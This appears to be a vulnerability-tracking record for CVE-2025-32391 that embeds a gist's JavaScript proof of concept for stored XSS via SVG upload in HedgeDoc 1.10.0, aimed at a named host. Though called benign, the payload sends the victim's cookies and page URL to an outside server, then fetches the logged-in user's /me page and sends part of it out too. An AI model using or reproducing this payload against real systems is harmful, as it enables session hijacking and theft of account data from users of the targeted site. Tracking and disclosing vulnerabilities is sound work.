{"uuid": "294dbd85-2ab9-4be7-a68e-1f5201535ed7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-32391", "type": "seen", "source": "https://gist.github.com/OsamaEid65/fed259e684a06cc03d4047ec130510db", "content": "// PoC: stored XSS via SVG upload \u2014 notes.eummena.org HedgeDoc 1.10.0 (CVE-2025-32391)\n// benign proof-of-execution payload\nnew Image().src = 'https://pentestiq.app/hdxss-poc?l=' + encodeURIComponent(location.href) + '&c=' + encodeURIComponent(document.cookie);\nfetch('/me', {credentials:'include'}).then(function(r){return r.text()}).then(function(t){\n  new Image().src = 'https://pentestiq.app/hdxss-me?d=' + encodeURIComponent(t.slice(0,300));\n});\ndocument.title = 'XSS-EXECUTED-eummena';\n", "creation_timestamp": "2026-09-21T22:47:49.221707Z"}